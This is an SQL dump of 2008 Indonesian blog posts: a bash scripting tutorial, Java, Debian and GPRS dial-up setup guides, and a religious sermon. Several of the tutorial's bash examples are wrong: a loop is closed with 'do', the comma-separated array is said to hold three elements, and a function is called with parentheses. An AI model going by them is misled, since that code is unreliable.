diatas.</p>\r\n<pre>#!/bin/bash\r\n#kedai\r\n\r\nlagi=\'y\'\r\nwhile [ $lagi == \'y\' ] || [ $lagi == \'Y\' ];\r\ndo\r\n clear\r\n select menu in \"Bakso\" \"Gado-Gado\" \"Exit\";\r\n case $REPLY in\r\n 1) echo -n \"Banyak mangkuk =\";\r\n read jum\r\n let bayar=jum*1500;\r\n ;;\r\n 2) echo -n \"Banyak porsi =\";\r\n read jum\r\n let bayar=jum*2000;\r\n ;;\r\n 3) exit 0\r\n ;;\r\n *) echo \"Sorry, tidak tersedia\"\r\n ;;\r\n esac\r\ndo\r\n\r\necho \"Harga bayar = Rp. $bayar\"\r\necho \"THX\"\r\necho\r\necho -n \"Hitung lagi (y/t) :\";\r\nread lagi;\r\n\r\n #untuk validasi input\r\n while [ $lagi != \'y\' ] &amp;&amp; [ $lagi != \'Y\' ] &amp;&amp; [ $lagi != \'t\' ] &amp;&amp; [ $lagi != \'T\' ];\r\n do\r\n echo \"Ops, isi lagi dengan (y/Y/t/Y)\";\r\n echo -n \"Hitung lagi (y/t) :\";\r\n read lagi;\r\n done\r\ndone</pre>\r\n<h2><a name=\"array\"></a>8. Array</h2>\r\n<p>adalah kumpulan variabel dengan tipe sejenis, dimana array ini merupakan feature Bash yang cukup indah <img src=\"Pengantar%20Pemrograman%20bash%20shell%20di%20linux%20%AB%20KampusKu_files/icon_smile.gif\" alt=\":-)\" class=\"wp-smiley\">\r\ndan salah satu hal yang cukup penting dalam bahasa pemrograman, anda\r\nbisa membayangkan array ini sebagai tumpukan buku - buku dimeja\r\nbelajar. lebih jelasnya sebaiknya lihat dulu contoh script berikut:</p>\r\n<pre>#!/bin/bash\r\n#array1\r\n\r\nbuah=(Melon,Apel,Durian);\r\necho ${buah[*]};</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./array1.\r\nMelon,Apel,Durian</pre>\r\n<p>anda lihat bahwa membuat tipe array di Bash begitu mudah, secara\r\notomatis array buah diciptakan dan string Melon menempati index pertama\r\ndari array buah, perlu diketahui bahwa array di Bash dimulai dari index\r\n0, jadi array buah mempunyai struktur seperti berikut:</p>\r\n<pre>buah[0] berisi Melon\r\nbuah[1] berisi Apel\r\nbuah[2] berisi Durian</pre>\r\n<p><code>0,1,2</code> adalah index array, berarti ada 3 elemen pada\r\narray buah, untuk menampilkan isi semua elemen array gunakan perintah\r\nsubtitusi seperti pada contoh diatas, dengan index berisi “*” atau “@”.\r\ndengan adanya index array tentunya kita dapat mengisi array perindexnya\r\ndan menampilkan isi array sesuai dengan index yang diinginkan. anda\r\nlihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n#array2\r\n\r\nbulan[0]=31\r\nbulan[1]=28\r\nbulan[2]=31\r\nbulan[3]=30\r\nbulan[4]=31\r\nbulan[5]=30\r\nbulan[6]=31\r\nbulan[7]=31\r\nbulan[8]=30\r\nbulan[9]=31\r\nbulan[10]=30\r\nbulan[11]=31\r\necho \"Banyak hari dalam bulan November adalah ${bulan[10]} hari\"</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./array2\r\nBanyak hari dalam bulan November adalah 30 hari</pre>\r\n<p>sebenarnya kita dapat mendeklarasikan array secara eksplisit menggunakan statement <code>declare</code></p>\r\n<p>contohnya:</p>\r\n<pre>declare -a myarray</pre>\r\n<p>mendeklarasikan variabel myarray sebagai array dengan opsi <code>-a</code>,\r\nkemudian anda sudah dapat memberinya nilai baik untuk semua elemen atau\r\nhanya elemen tertentu saja dengan perulangan yang telah kita pelajari\r\npengisian elemen array dapat lebih dipermudah, lihat contoh :</p>\r\n<pre>#!/bin/bash\r\n#array3\r\n\r\n#deklarasikan variabel array\r\ndeclare -a angka \r\n\r\n#clear\r\ni=0;\r\nwhile [ $i -le 4 ];\r\ndo\r\nlet isi=$i*2;\r\nangka[$i]=$isi;\r\nlet i=$i+1;\r\ndone\r\n\r\n#tampilkan semua elemen array\r\n#dengan indexnya berisi \"*\" atau \"@\"\r\necho ${angka[*]}; \r\n\r\n#destroy array angka (memory yang dipakai dibebaskan kembali)\r\nunset angka</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./array3\r\n0 2 4 6 8</pre>\r\n<h2><a name=\"Subrutin\"></a>9. Subrutin atau Fungsi</h2>\r\n<p>merupakan bagian script atau program yang berisi kumpulan beberapa\r\nstatement yang melaksanakan tugas tertentu. dengan subrutin kode script\r\nkita tentunya lebih sederhana dan terstruktur, karena sekali fungsi\r\ntelah dibuat dan berhasil maka akan dapat digunakan kapan saja kita\r\ninginkan. beberapa hal mengenai fungsi ini adalah:</p>\r\n<ul>\r\n<li>Memungkinkan kita menyusun kode script ke dalam bentuk modul-modul kecil yang lebih efisien dengan tugasnya masing-masing.</li>\r\n<li>Mencegah penulisan kode yang berulang - ulang.</li>\r\n</ul>\r\n<p>untuk membuat subrutin shell telah menyediakan keyword <code>function</code> seperti pada bahasa C, akan tetapi ini bersifat optional (artinya boleh digunakan boleh tidak).</p>\r\n<p>syntax:</p>\r\n<pre>function nama_fungsi() { perintah; }</pre>\r\n<p>nama_fungsi adalah pengenal (identifier) yang aturan penamaannya\r\nsama seperti pemberian nama variabel, setelah fungsi dideklarasikan\r\natau dibuat anda dapat memaggilnya dengan menyebutkan nama fungsinya.\r\nlebih jelasnya lihat contoh script fungsi1 berikut:</p>\r\n<pre>#!/bin/bash\r\n\r\nfunction say_hello() {\r\n echo \"Hello, apa kbabar\"\r\n}\r\n\r\n#panggil fungsi\r\nsay_hello;\r\n\r\n#panggil sekali lagi\r\nsay_hello;</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./fungsi1\r\nHello, apa khabar\r\n\r\nHello, apa khabar</pre>\r\n<p>jika keyword <code>function</code> disertakan maka kita boleh tidak menggunakan tanda kurung <code>()</code>, tetapi jika keyword <code>function</code> tidak disertakan maka tanda kurung harus digunakan, lihat contoh berikut:</p>\r\n<pre>#!/bin/bash \r\n\r\nfunction say_hello{\r\n echo \"Hello,apa khabar\"\r\n}\r\n\r\nbalas(){\r\n echo \"Baik-baik saja\";\r\n echo \"Bagaimana dengan anda ?\";\r\n}\r\n\r\n#panggil fungsi say_hello\r\nsay_hello;\r\n\r\n#panggil fungsi balas\r\nbalas;</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./fungsi2\r\nHello, apa khabar\r\nBaik-baik saja\r\nBagaimana dengan anda ?</pre>\r\n<h3><a name=\"passarg\"></a>9.1. Mengirim argumen sebagai parameter ke fungsi</h3>\r\n<p>tentunya suatu fungsi lebih berdaya guna apabila dapat menerima\r\nargumen yang dikirim oleh pemanggilnya dan memproses argumen tsb\r\ndidalam fungsinya, fungsi yang kita buat pada bash shell tentunya dapat\r\nmelakukan hal tsb, apabila pada pemanggilan fungsi kita menyertakan\r\nargumen untuk diproses fungsi tsb, maka bash akan menyimpan argumen -\r\nargumen tsb pada parameter posisi <code>1,2,3,dst...,</code>nah dengan\r\nmemanfaatkan parameter posisi tsb tentunya kita dapat mengambil nilai\r\nyang dikirim. lebih jelasnya anda lihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n\r\nfunction hello{\r\n if [ -z $1 ]; then\r\n echo \"Hello, apa khabar anda\"\r\n else\r\n echo \"Hello $1, apa khabar\";\r\n fi\r\n}\r\n\r\n#masukkan nama anda disini\r\necho -n \"Nama anda :\";\r\nread nama\r\n\r\n#panggil fungsi dan kirim isi variabel nama ke fungsi untuk dicetak\r\nhello $nama;</pre>\r\n<p>Hasilnya:</p>\r\n<pre>[fajar@linux$]./fungsi3\r\nNama anda : pinguin\r\nHello pinguin, apa khabar</pre>\r\n<p>lihat fungsi <code>hello</code>, sebelum mencetak pesan kita melakukan pemeriksaan dengan <code>if</code> terhadap parameter posisi <code>$1</code> apabila kosong maka pesan <code>\"Hello, apa khabar anda\"</code> yang akan ditampilkan, tetapi jika ada string yang kita input maka string tersebut akan dicetak di dalam blok <code>else</code>\r\npada fungsi. argumen pertama diteruskan ke variabel 1, argumen kedua\r\npada variabel 2, dst.. jika argumen yang dikirim lebih dari satu.</p>\r\n<h3><a name=\"varscope\"></a>9.2. Cakupan Variabel</h3>\r\n<p>secara default variabel - variabel yang digunakan dalam script\r\nadalah variabel bersifat global, maksud global adalah bahwa variabel\r\ntsb dikenal dan dapat diakses oleh semua fungsi dalam script, tetapi\r\nbash menyediakan keyword <code>local</code>yang berfungsi membatasi\r\ncakupan (scope) suatu variabel agar dikenal hanya oleh fungsi yang\r\nmendeklarasikannya.coba lihat contoh berikut:</p>\r\n<pre>#!/bin/bash\r\n\r\nproses(){\r\n echo \"Isi variabel a=$a\";\r\n}\r\n\r\na=2;\r\nproses();\r\nproses $a</pre>\r\n<p>Hasilnya:</p>\r\n<pre>Isi variabel a=2\r\nIsi variabel a=2</pre>\r\n<p>coba anda tambahkan <code>local a</code> pada fungsi proses menjadi</p>\r\n<pre>proses(){\r\n local a;\r\n echo -e \"a didalam fungsi, a=$a\";\r\n}\r\n\r\na=10;\r\nproses()\r\n\r\necho \"a diluar fungsi, a=$a\"\r\nproses $a</pre>\r\n<p>Hasilnya:</p>\r\n<pre>a didalam fungsi, a=\r\na diluar fungsi, a=10\r\na didalam fungsi a=</pre>\r\n<p>nah jelas perbedaannya jika mendeklarasikan variabel memakai keyword <code>local</code> menyebabkan variabel tersebut hanya berlaku pada fungsi yang mendekalarasikannya. pada contoh dalam fungsi proses variabel <code>a</code> dideklarasikan sebagai <code>variabel local</code> dan tidak diberi nilai.</p>\r\n<p>Diakhir dokumentasi ini saya menyertakan contoh script sederhana\r\nuntuk melakukan entry data-data KPLI (Kelompok Pencinta Linux\r\nIndonesia) dan menyimpannya ke sebuah file. perintah-perintah shell dan\r\nbeberapa utility yang digunakan adalah:</p>\r\n<ul>\r\n<li>apa yang telah anda pelajari diatas</li>\r\n<li>utility test, touch</li>\r\n<li>operator redirection “&gt;&gt;” untuk menambah data</li>\r\n<li>sleep, grep (global regular expression parser), cut, cat, | (pipa), sort dan more</li>\r\n<li>tput untuk menempatkan cursor pada koordinat tertentu (baris kolom)</li>\r\n</ul>\r\n<p>sebagai latihan silahkan mengembangkan sendiri script dibawah ini:</p>\r\n<pre>#!/bin/bash\r\n#------------------------------------------------------------------\r\n#(C) Moh.fajar Makassar 2001, contoh script buat para linuxer\r\n#file ini adalah public domain, silahkan mendistribusikan kembali\r\n#atau mengubahnya asalkan anda mengikuti aturan - aturan dari GPL\r\n#\r\n\r\nmenu(){\r\n clear\r\n tput cup 2 8;\r\n echo \"SIMPLE DATABASE KPLI\"\r\n tput cup 3 11;\r\n echo \"1. Entry Data\"\r\n tput cup 4 11;\r\n echo \"2. Cari Data\"\r\n tput cup 5 11;\r\n echo \"3. Cetak Data\"\r\n tput cup 6 11;\r\n echo \"4. Exit\"\r\n tput cup 7 9;\r\n read -p \"Pilihan anda [1-4] :\" pil;\r\n while [ -z $pil ] || [ $pil -lt 1 ] || [ $pil -gt 4 ];\r\n do\r\n tput cup 7 9\r\n read -p \"Pilihan anda [1-4] :\" pil;\r\n done \r\n\r\n}\r\n\r\nentry()\r\n{\r\n\r\n tput cup 9 27\r\n echo \"Enrty data\"\r\n tput cup 11 27\r\n echo -n \"Nama KPLI :\";\r\n read nama;\r\n\r\n while [ -z $nama ] || grep $nama $data -q -i;\r\n do\r\n tput cup 13 27\r\n echo \"Ops Tidak boleh kosong atau $nama sudah ada\";\r\n sleep 3\r\n clear\r\n tput cup 11 27\r\n echo -n \"Nama KPLI :\";\r\n read nama;\r\n done\r\n\r\n tput cup 12 27\r\n echo -n \"Kota :\";\r\n read kota;\r\n tput cup 13 27\r\n echo -n \"Alamat :\";\r\n read alamat;\r\n tput cup 14 27\r\n echo -n \"Email :\";\r\n read email;\r\n tput cup 16 27\r\n echo \"Rekam data ke file\"\r\n if !(echo $nama:$kota:$alamat:$email&gt;&gt;$data); then\r\n echo \"Ops, gagal merekam ke file\"\r\n exit 1;\r\n fi\r\n sleep 3;\r\n}\r\n\r\ncari(){\r\n tput cup 9 27\r\n echo \"Cari data per record\"\r\n tput cup 11 27\r\n echo -n \"Nama KPLI :\";\r\n read nama;\r\n while [ -z $nama ];\r\n do\r\n tput cup 13 27\r\n echo \"Ops, nama tidak boleh kosong\"\r\n sleep 3;\r\n tput cup 11 27\r\n echo -n \"Nama KPLI :\";\r\n read nama;\r\n done\r\n\r\n if found=`grep $nama $data -n -i`; then\r\n tput cup 12 27\r\n echo -n \"Kota :\";\r\n echo \"$found\" | cut -d: -f3\r\n tput cup 13 27\r\n echo -n \"Alamat :\";\r\n echo \"$found\" | cut -d: -f4\r\n tput cup 14 27\r\n echo -n \"Mail :\";\r\n echo \"$found\" | cut -d: -f5\r\n tput cup 16 27\r\n echo -n \"Record ke- $found\" | cut -d: -f1\r\n else\r\n tput cup 13 27\r\n echo \"Ops, data tidak ditemukan\";\r\n fi\r\n\r\n}\r\n\r\ncetak()\r\n{\r\n tput cup 12 27\r\n echo \"Tampilkan Data\"\r\n tput cup 13 27\r\n echo -n \"1-&gt;Ascendig, 2-&gt;Descending :\"\r\n read mode\r\n clear;\r\n if [ -z $mode ] || [ $mode -eq 1 ]; then\r\n cat $data | sort | more -d\r\n elif [ $mode -eq 2 ]; then\r\n cat $data | sort -r | more -d\r\n else\r\n cat $data | sort | more -d\r\n fi\r\n}\r\n\r\n#block utama\r\n\r\n data=\"mydata\"\r\n\r\n if !(test -e $data); then\r\n if !(touch $data); then\r\n echo \"gagal buat file database\"\r\n exit 1\r\n fi\r\n fi\r\n\r\n lagi=\'y\'\r\n while [ $lagi == \'y\' ] || [ $lagi == \'Y\' ]\r\n do\r\n menu;\r\n case $pil in\r\n 1) entry\r\n ;;\r\n 2) cari;\r\n ;;\r\n 3) cetak\r\n ;;\r\n 4) clear;\r\n exit 0;\r\n ;;\r\n *)\r\n echo \"$pil, tidak ada dalam pilihan\"\r\n ;;\r\n esac\r\n\r\n tput cup 18 27\r\n echo -n \"Ke Menu (y/t): \";\r\n read lagi;\r\n done \r\n\r\n clear</pre>\r\n<p>tentunya kemampuan script ini dapat kita tambahkan dengan mudah\r\nsehingga mendekati program database sesungguhnya, utility seperti <code>tr, paste, egrep, lpr, dll..</code> cukup baik dan membantu untuk digunakan.</p>\r\n<p>http://pemula.linux.or.id/programming/bash-shell.html</p>',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (75,'2008-02-21 16:33:39','Install JRE di Ubuntu 7.10','Ubuntu Linux 7.10 has following packages from Sun:\r\n=> sun-java6-bin : Sun Java Runtime Environment (JRE) 6\r\n\r\n=> sun-java6-demo : Sun Java Development Kit (JDK) 6 demos\r\n\r\n=> sun-java6-jdk : Sun Java Development Kit (JDK) 6\r\n\r\n=> sun-java6-jre : Sun Java Runtime Environment (JRE) 6\r\n\r\n\r\nInstall Sun Java 6\r\n\r\nTo install proprietary Java, you must have the Multiverse repository enabled. Click on System > Administration > Software Source > Select Multisource > Close\r\nAdding the Universe and Multiverse Repositories\r\n\r\nOpen a shell prompt (terminal) and type the following to install JDK and JRE:\r\n\r\n$ sudo apt-get install sun-java6-bin sun-java6-jre\r\n\r\nSetup the default Java version\r\n\r\nUbuntu Linux comes with update-java-alternatives utility to updates all alternatives belonging to one runtime or development kit for the Java language. To select, Sun’s JVM as provided in Ubuntu 7.10, enter:\r\n\r\n$ sudo update-java-alternatives -s java-6-sun\r\n\r\nYou also need to edit a file called /etc/jvm. This file defines the default system JVM search order. Each JVM should list their JAVA_HOME compatible directory in this file. The default system JVM is the first one available from top to bottom. Open /etc/jvm\r\n\r\n$ sudo vi /etc/jvm\r\n\r\nMake sure /usr/lib/jvm/java-6-sun is added to the top of JVM list\r\n/usr/lib/jvm/java-6-sun\r\n\r\nAt the end your file should read as follows:\r\n/usr/lib/jvm/java-6-sun\r\n/usr/lib/jvm/java-gcj\r\n/usr/lib/jvm/ia32-java-1.5.0-sun\r\n/usr/lib/jvm/java-1.5.0-sun\r\n/usr\r\n\r\nSave and close the file.\r\n\r\n\r\nSetup the environment variable\r\n\r\nYou also need to setup JAVA_HOME and PATH variable. Open your $HOME/.bash_profile or /etc/profile (system wide) configuration. Open your .bash_profile file:\r\n\r\n$ vi $HOME/.bash_profile\r\n\r\nAppend following line:\r\nexport JAVA_HOME=/usr/lib/jvm/java-6-sun\r\nexport PATH=$PATH:$JAVA_HOME/bin\r\nSave and close the file.\r\nTest your new JDK\r\n\r\nType the following command to display version:\r\n\r\n$ java -version\r\n\r\nOutput:\r\n\r\njava version \"1.6.0_03\"\r\nJava(TM) SE Runtime Environment (build 1.6.0_03-b05)\r\nJava HotSpot(TM) Server VM (build 1.6.0_03-b05, mixed mode) \r\n\r\nTry HelloWorld.java - first java program\r\n\r\n$ vi HelloWorld.java\r\nAppend code:\r\n\r\npublic class HelloWorld {\r\n public static void main(String[] args) {\r\n System.out.println(\"Hello, World!\");\r\n }\r\n}\r\n\r\nSave and close the file. Compile HelloWorld.java and execute program by typing following two instructions:\r\n$ javac HelloWorld.java\r\n$ java HelloWorld\r\n\r\nOutput:\r\n\r\nHello, World!',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (76,'2008-02-28 12:56:59','Setting Date d Linux, Biar gak Lupa Lagi hehe','Mau ganti Tanggal aja kok ampek 15 menit, weh memalukan ccc :D. Mudah mudahan artikel ini bisa membantu klo lupa hehe.\r\n\r\nLangsung aja, Berkut ini adalah cara merubah setingann tanggal di Linux:\r\n\r\n[]#date 0201231008\r\n\r\nartinya:\r\n0201 = bulanTanggal\r\n2310 = jamMenit\r\n08 = tahun\r\n\r\nContoh berikut ini adalah cara menampilkan tanggal dengan format tertentu, klo pengen lengkapnya liat manuallnya.\r\n\r\n[]#date +\"Allow Hari ini %t Tanggal %D %n%t Jam %T\"',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (77,'2008-02-28 13:09:39','Biar ASUS Eee PC Series Jadi Handal','Yup diBali dikasih kesempatan ama BIG Bos Pak Dani KACAB JMN, untuk oprek Asus eee PC Series, setelah liat sana sini ternyata spesifikasi dari Eee ini adalah sebagai berikut, (biar gak lupa ntar klo mau develop)\r\n\r\n1. Ternyata OS yang dipasan adalah keluarga Debian, yaitu Xandros terus diturunkan lagi ma ASUS. tampilan dan kemudahannya gua acungi Jempol pol pol.\r\n\r\n2. Hardware lumyan, keren tapi yang agak heran waktu saya upgrade kernelnya ternyata si Linux deteksi klo Processornya adalah AMD64, weh padahal klo diliat dari website resminya menggunakan Chipset Intel. Wah jadi inget klo dulu teknologinya AMD64 pernah dibeli ma INtel.\r\n\r\nWoke langsung aja gimana biar Assus EEe biar lebih handal.\r\n\r\nKendala pertama adalah dari paket yang disediakan oleh distro dari asus dibatasi jadi waktu kita apt-get hehe, mohon maaf banyak paket linux yang gak nyatol\r\n\r\nOh ya agar bisa masuk ke console tinggal tekan(hehe sempat nyari diinternet 10 menitan) \r\n\r\nCrt+Alt+t\r\n\r\nOk langsung aja, agar Asus Eee ini support banyak paket kita edit source-listnya. Berikut adalah langkah2nya:\r\n\r\n[]#sudo vim /etc/apt/sources.list\r\n\r\nnah kita tambahi paket dari paket debian , bagusnya Debian adalah paket yang dipilih adalah paket yang bener-bener stabil. Jadi kemungkinan error sangat kecil. Yang perlu ditambahkan di /etc/apt/sources.list adalah sebagai berikut:\r\n\r\ndeb ftp://ftp.nl.debian.org/debian stable main\r\n\r\nbila ingin mengambil sourcenya,tambahkan script sebagai berikut:(tapi saran saya jangan hehe soalnya sayang ma hardisknya karena kapasitasnya kecil)\r\n\r\ndeb-src ftp://ftp.nl.debian.org/debian stable main\r\n\r\nOk, simpan. dan berikut ini cara untuk menginstallnya. Yang perlu diperhatikan adalah harus diupdate dulu source.listnya berikut ini adalah cara-caranya:\r\n\r\n[]#sudo apt-get update\r\n[]#sudo apt-get install gnokii\r\n[]#sudo apt-get install mysql-server\r\n\r\ndll. Nah cuma begitu mudah2an bermanfaat.\r\n\r\n',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (78,'2008-03-03 08:56:58','Setting Dial-Up GPRS di Itegno menggunakan SIM Card IM3.','Weh akhirnya dua hari ini berhasil juga, dial up pakek Itegno. SIM Card menggunakan IM-3 yang sudah disetting GPRS tentunya hehe. Untuk SIM Card line user dan password serta domain menyesuaikan dengna Vendor, karena Telkomsel, Indosat, dan temen-temennya mempunyai settingan yang berbeda. Tahapan Adalah sebagai berikut:\r\n\r\n1. Edit Setingan di \"/etc/wvdial.conf\", dengan cara:\r\n[code]\r\nsudo vim /etc/wvdial.conf\r\n[/code]\r\n2. Tambahkan script sebagai berikut:\r\n[code]\r\n[Dialer im3]\r\nModem = /dev/ttyUSB0\r\nBaud = 115200 \r\ninit1 = ATZ\r\ninit2 = AT+CGDCONT=1,\"IP\",\"www.indosat-m3.net\"\r\nPhone = *99***1#\r\nUsername = \"gprs\"\r\nPassword = \"im3\"\r\nStupid Mode = yes\r\n\r\n[Dialer xl]\r\nModem = /dev/ttyUSB0\r\nBaud = 115200\r\ninit1 = ATZ\r\ninit2 = AT+CGDCONT=1,\"IP\",\"www.xlgprs.net\"\r\nPhone = *99***1#\r\nUsername = \"xlgprs\"\r\nPassword = \"proxl\"\r\nStupid Mode = yes\r\n\r\n[Dialer mentari]\r\nModem = /dev/ttyUSB0\r\nBaud = 115200\r\ninit1 = ATZ\r\ninit2 = AT+CGDCONT=1,\"IP\",\"indosatgprs\"\r\nPhone = *99***1#\r\nUsername = \"indosat\"\r\nPassword = \"indosat\"\r\nStupid Mode = yes\r\n[/code]\r\n3. Simpan bila telah seperti di atas, kemudian jalankan. dengan cara sebagai berikut:\r\n[code]\r\nsudo wvdial im3\r\n[/code]\r\n4. Berikut ini adalah contoh bila berhasil.\r\n[code]\r\nmamat@mamat-laptop:~$ sudo wvdial im3\r\n\r\n--> WvDial: Internet dialer version 1.56\r\n--> Cannot get information for serial port.\r\n--> Initializing modem.\r\n--> Sending: ATZ\r\nATZ\r\nOK\r\n--> Sending: AT+CGDCONT=1,\"IP\",\"www.indosat-m3.net\"\r\nAT+CGDCONT=1,\"IP\",\"www.indosat-m3.net\"\r\nOK\r\n--> Modem initialized.\r\n--> Sending: ATDT*99***1#\r\n--> Waiting for carrier.\r\nATDT*99***1#\r\nCONNECT 115200\r\n~[7f]}#@!}!}!} }6}!}$}%\\}\"}&} } } } }\'}\"}(}\"}#}$@#&4~\r\n--> Carrier detected. Starting PPP immediately.\r\n--> Starting pppd at Mon Mar 3 08:41:16 2008\r\n--> Pid of pppd: 6697\r\n--> Using interface ppp0\r\n--> pppd: ? [06][08]\r\n--> pppd: ? [06][08]\r\n--> pppd: ? [06][08]\r\n--> pppd: ? [06][08]\r\n--> pppd: ? [06][08]\r\n--> pppd: ? [06][08]\r\n--> local IP address 10.35.20.209\r\n--> pppd: ? [06][08]\r\n--> remote IP address 192.168.111.111\r\n--> pppd: ? [06][08]\r\n--> primary DNS address 124.195.15.100\r\n--> pppd: ? [06][08]\r\n--> secondary DNS address 124.195.15.98\r\n--> pppd: ? [06][08]\r\n[/code]',1,1,4);
insert into `pagedetail` (`pageDetailId`,`pageDate`,`pageTitle`,`pageDescribtion`,`userId`,`pageStatus`,`pageId`) values (79,'2008-03-07 21:37:58','Jangan Terlena Dengan Kenikmatan Semu Itu','05 Maret 2008 - 02:56\r\nJangan Terlena Dengan Kenikmatan Semu Itu \r\n \r\nDi saat Allah menghendaki terjadinya hari kiamat, Dia pun memerintahkan malaikat Israfil untuk meniup terompetnya dua kali. Tiupan pertama sebagai pertanda untuk membinasakan seluruh makhluk yang ada di muka bumi dan langit, sedangkan tiupan kedua untuk membangkitkan mereka kembali.\r\n\r\nAllah ta\'ala berfirman: \"Dan ditiuplah sangkakala, maka matilah siapa yang di langit dan di bumi kecuali siapa yang dikehendaki Allah. Kemudian ditiup sangkakala itu sekali lagi maka tiba-tiba mereka berdiri (menunggu (putusannya masing-masing).\" (QS. Az-Zumar: 68)\r\n\r\nMaka, setelah malaikat Israfil meniupkan terompetnya yang kedua kalinya, seluruh makhluk pun dibangkitkan dari kuburnya oleh Allah ta\'ala, lalu mereka dikumpulkan dalam suatu padang yang amat luas yang rata dengan tanah (QS. Thaha: 107. Lihat Tafsir As-Sa\'di hal. 462), dalam keadaan tidak berpakaian, tidak memakai sandal, tidak berkhitan dan tidak membawa sesuatu apapun.\r\n\r\nRasulullah shallallahu \'alaihi wa sallam bersabda: \"Pada hari kiamat nanti para manusia akan dikumpulkan dalam keadaan tidak memakai sandal, tidak berpakaian dan dalam keadaan belum berkhitan. Aisyah bertanya, \'Wahai Rasulullah, kaum pria dan wanita (berkumpul dalam satu tempat semuanya dalam keadaan tidak berbusana?!) apakah mereka tidak saling melihat satu sama lainnya?\' Rasulullah shallallahu \'alaihi wa sallam pun menjawab, \'Wahai Aisyah kondisi saat itu amat mengerikan sehingga tidak terbetik sedikit pun dalam diri mereka untuk melihat satu sama lainnya!\'\" (HR. Bukhari dan Muslim)\r\n\r\nYa, saat itu masing-masing dari mereka memikirkan dirinya sendiri dan tidak sempat untuk memikirkan orang lain, meskipun itu adalah orang terdekat mereka. Allah ta\'ala berfirman:\r\n\"Pada hari itu manusia lari dari saudaranya. Dari bapak dan ibunya. Dari istri dan anak-anaknya. Setiap orang dari mereka pada hari itu mempunyai urusan yang menyibukkannya.\" (QS. \'Abasa: 34-37)\r\n\r\nSemua manusia saat itu berada di dalam ketidakpastian, masing-masing menunggu apakah ia termasuk orang-orang yang beruntung dimasukkan ke taman-taman surga, ataukah mereka termasuk orang yang merugi dijebloskan ke dalam lembah hitam neraka.\r\n\r\nDalam kondisi seperti itu Allah ta\'ala mendekatkan matahari sedekat-dekatnya di atas kepala para hamba-Nya, hingga panasnya sinar matahari yang luar biasa itu mengakibatkan keringat mereka bercucuran.\r\n\r\nAl-Miqdad bin al-Aswad bercerita: Aku mendengar Rasulullah shallallahu \'alaihi wa sallam bersabda, \"Pada hari kiamat nanti matahari turun mendekati para makhluk hingga hanya berjarak satu mil... Pada saat itu kucuran keringat masing-masing manusia tergantung amalannya; di antara mereka ada yang keringatnya sampai di mata kakinya, ada pula yang keringatnya sampai lututnya, ada yang keringatnya sampai perutnya serta ada yang tenggelam dalam keringatnya sendiri!\" (HR. Muslim)\r\n\r\nDemikianlah para manusia saat itu berada di dalam kesusahan, kebingungan dan ketidakpastian yang tiada bandingannya, padahal satu hari pada saat itu bagaikan 50 ribu tahun hari-hari dunia! (Lihat Majmu\' Fatawa wa Rasa\'il Ibn Utsaimin (II/23))\r\n\r\nAllah ta\'ala berfirman: \"Malaikat-malaikat dan Jibril naik (menghadap) kepada Allah dalam sehari yang kadarnya lima puluh ribu tahun.\" (QS. Al-Ma\'arij: 4)\r\n\r\nSeandainya kita mau berpikir betapa mengerikannya hari-hari itu lantas kita merenungkan jalan hidup kebanyakan manusia di dunia yang kita lihat selama ini, niscaya kita akan sadar betul bahwa ternyata masih banyak di antara kita yang telah terlena dengan keindahan dunia yang semu ini dan lupa bahwa setelah kehidupan dunia yang sementara ini masih ada kehidupan lain yang kekal abadi yang lamanya satu hari di sana sama dengan 50 ribu tahun di dunia!\r\n\r\nKita telah terlena dengan gemerlapnya dunia dan lupa untuk beribadah kepada Allah dan beramal saleh, padahal pada hakikatnya kita hanya diminta untuk beramal selama 30 tahun saja! Tidak lebih dari itu. Suatu waktu yang amat singkat!\r\n\r\nYa, kalaupun umur kita 60 tahun, sebenarnya kita hanya diminta untuk beramal selama 30 tahun saja. Karena umur yang 60 tahun itu akan dikurangi masa tidur kita di dunia yang jika dalam satu hari adalah 8 jam, berarti masa tidur kita adalah sepertiga dari umur kita yaitu: 20 tahun Lalu kita kurangi lagi dengan masa kita sebelum balig, karena seseorang tidak berkewajiban untuk beramal melainkan setelah ia balig, taruhlah jika kita balig pada umur 10 tahun, berarti umur kita hanya tinggal 30 tahun!\r\n\r\nSubhanallah, bayangkan, pada hakikatnya kita diperintahkan untuk bersusah payah dalam beramal saleh di dunia hanya selama 30 tahun saja! Alangkah naifnya jika kita enggan untuk bersusah payah selama 30 tahun di dunia beramal saleh, sehingga akan berakibat kita mendapat siksaan yang amat pedih di akhirat selama puluhan ribu tahun!\r\n\r\nAllah telah memperingatkan supaya kita tidak tertipu dengan kehidupan duniawi yang fana ini dalam firman-Nya: \"Wahai para manusia, sesungguhnya janji Allah adalah benar, maka janganlah sekali-kali kehidupan dunia memperdayai kalian, dan janganlah sekali-kali (syaitan) yang pandai menipu, memperdayakan kalian dari Allah.\" (QS. Faathiir: 5)\r\n\r\nMengapa orang yang tertipu dengan kehidupan duniawi benar-benar telah merugi? Karena kenikmatan dunia seisinya tidak lebih berharga di sisi Allah dari sebuah sayap seekor nyamuk!\r\n\r\nSahl bin Sa\'d bercerita bahwa Rasulullah shallallahu \'alaihi wa sallam bersabda, \"Seandainya dunia sepadan dengan (harga) sayap seekor nyamuk; niscaya orang kafir tidak akan mendapatkan (kenikmatan dunia meskipun hanya seteguk air.\" (HR. Tirmidzi)\r\n\r\nMaka mari kita manfaatkan kehidupan dunia yang hanya sementara ini untuk benar-benar beribadah kepada Allah ta\'ala, mulai dari mencari ilmu, shalat lima waktu berbakti kepada orang tua, berbuat baik kepada sesama terutama tetangga, mendidik keluarga sebaik-baiknya. Juga berusaha untuk menjauhi apa yang dilarang-Nya. 